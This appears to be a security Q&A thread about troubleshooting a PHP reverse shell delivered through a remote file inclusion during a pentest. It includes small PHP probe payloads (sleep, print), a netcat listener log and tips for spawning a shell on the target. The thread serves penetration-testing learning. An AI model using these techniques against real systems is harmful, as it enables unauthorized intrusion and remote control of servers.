6

In a pentest, I have found a RFI and the endpoint looks like:

https://xxx.com/file.php?page={localhost/evilcode.txt}

Port 80 isn't open. 22,443 are only open ports

Now, I am using php reverse shell to connect back to my port 80, where I have my netcat listener running.

When I visit the URL above(with payload), I get:

listening on [any] 80 ...
connect to [localhost] from (UNKNOWN) [$target_machine] 48731
GET /evilcode.php.txt HTTP/1.0
Host: $localhost

The session is established for a while but I can't execute any commands. Any idea what I am doing wrong?

Abhibandu Kafle
  • 469
  • 3
  • 9
  • 3
    I'd suggest first going simpler. That reverse shell is a bit heavy and things can go wrong. It may get picked up by AV, HIPS, IPS, or some other network control. I'm assuming you've confirmed that you can execute commands on the box. Is `nc` on the server? – h4ckNinja Jun 05 '16 at 20:57
  • I tried using msfvenom to generate a reverse php shell and the same thing happens. – Abhibandu Kafle Jun 05 '16 at 21:34
  • 2
    Have you tried something simpler? – h4ckNinja Jun 05 '16 at 22:01

3 Answers3

10

Start sending a simple PHP file with a command that does not require output, but allows you to determine whether it's been executed or not.

Simply run twice the RFI and send from netcat:

<?php /* do nothing */ ?>

and

<?php sleep(10); ?>

If the second command has the web site returning the page in a time 10 seconds longer than with the first attempt, then your RFI is potentially working. All that it can do still remains to be seen.

If the two commands return in the same time, there's no extra ten second pause, then the PHP code you sent is clearly not being executed, so sending a reverse shell makes little sense.

The next steps involve sending something that tries to show itself on the target page.

ob_end_clean();
print "OK";
die();

could work. Also, try to establish what system you're examining (e.g.: Ubuntu 12.04-LTS ). That will tell you what to pay attention to, e.g. AppArmor or SELinux or special permissions. Trying to get a phpinfo() would be good, to ascertain whether some functions have been disabled, for instance.

You work upwards from that to a full reverse shell. Along the way you'll probably discover why the reverse shell isn't working, and with some experience you should be able to get it working again, deploy something else, or conclude that there's no actual vulnerability.

One possibility worth considering would be to use the RFI to create a second RFI that's simpler to exploit, if the first attacked script is still capable of writing files to disk in accessible (and exploitable) locations.

But...

Notice that you included 'evilcode.txt' and the script requested 'evilcode.php.txt'. This is not a simple append (it would have been 'evilcode.txt.php').

What seems to be happening is that the page gets the basename of the file, then adds '.php.txt', which seems to indicate some plan at work. It's not .php, it's not .txt -- it's .php.txt, as if the author wanted to mark it as being PHP, but at the same time not PHP.

It's possible I'm reading too much in a simple extension. But it is also possible that the RFI, while being a remote file inclusion, does not execute the code straight away, but actually does something like:

// Load page from URL request
$code = file_get_contents($_GET['page']);
if (0 !== strpos($code, '<?php//SQUEAMISH OSSIFRAGE')) {
    // This is not our code! DANGER WILL ROBINSON!
    mailAdministratorAndRecordBreakinAttempt();
} else {
    // The code contains the secret word. It's legit.
    $result = eval($code);
}

The above would seem to be an exploitable RFI, but unless you happen to know the secret word, it simply won't work. On the other hand, you might be able to get it by reading one of the remote pages, now that you know how their true local name is obtained.

This is hoping that those pages aren't IP-blocked, and requesting them from anywhere else but server address doesn't result in an alert being triggered.

LSerni
  • 22,521
  • 4
  • 51
  • 60
4

So, The issue was: I was running apache on my localhost to host the exploit and was trying to backconnect to myself. (I realized this after I shelled myself once.)

After that, I hosted a one liner reverse shell (thanks to the comments by @Michael) on a different machine and spawned a shell on the target machine.

Abhibandu Kafle
  • 469
  • 3
  • 9
0

I've done this before, but inserted a pause into the reverse shell script and then went back to my host and killed apache2 right away. It allows the remote machine to grab the evil.php, etc. document and then gives me 3 or 5 or whatever arbitrary seconds to kill the apache2 on port 80.

rakshasha
  • 1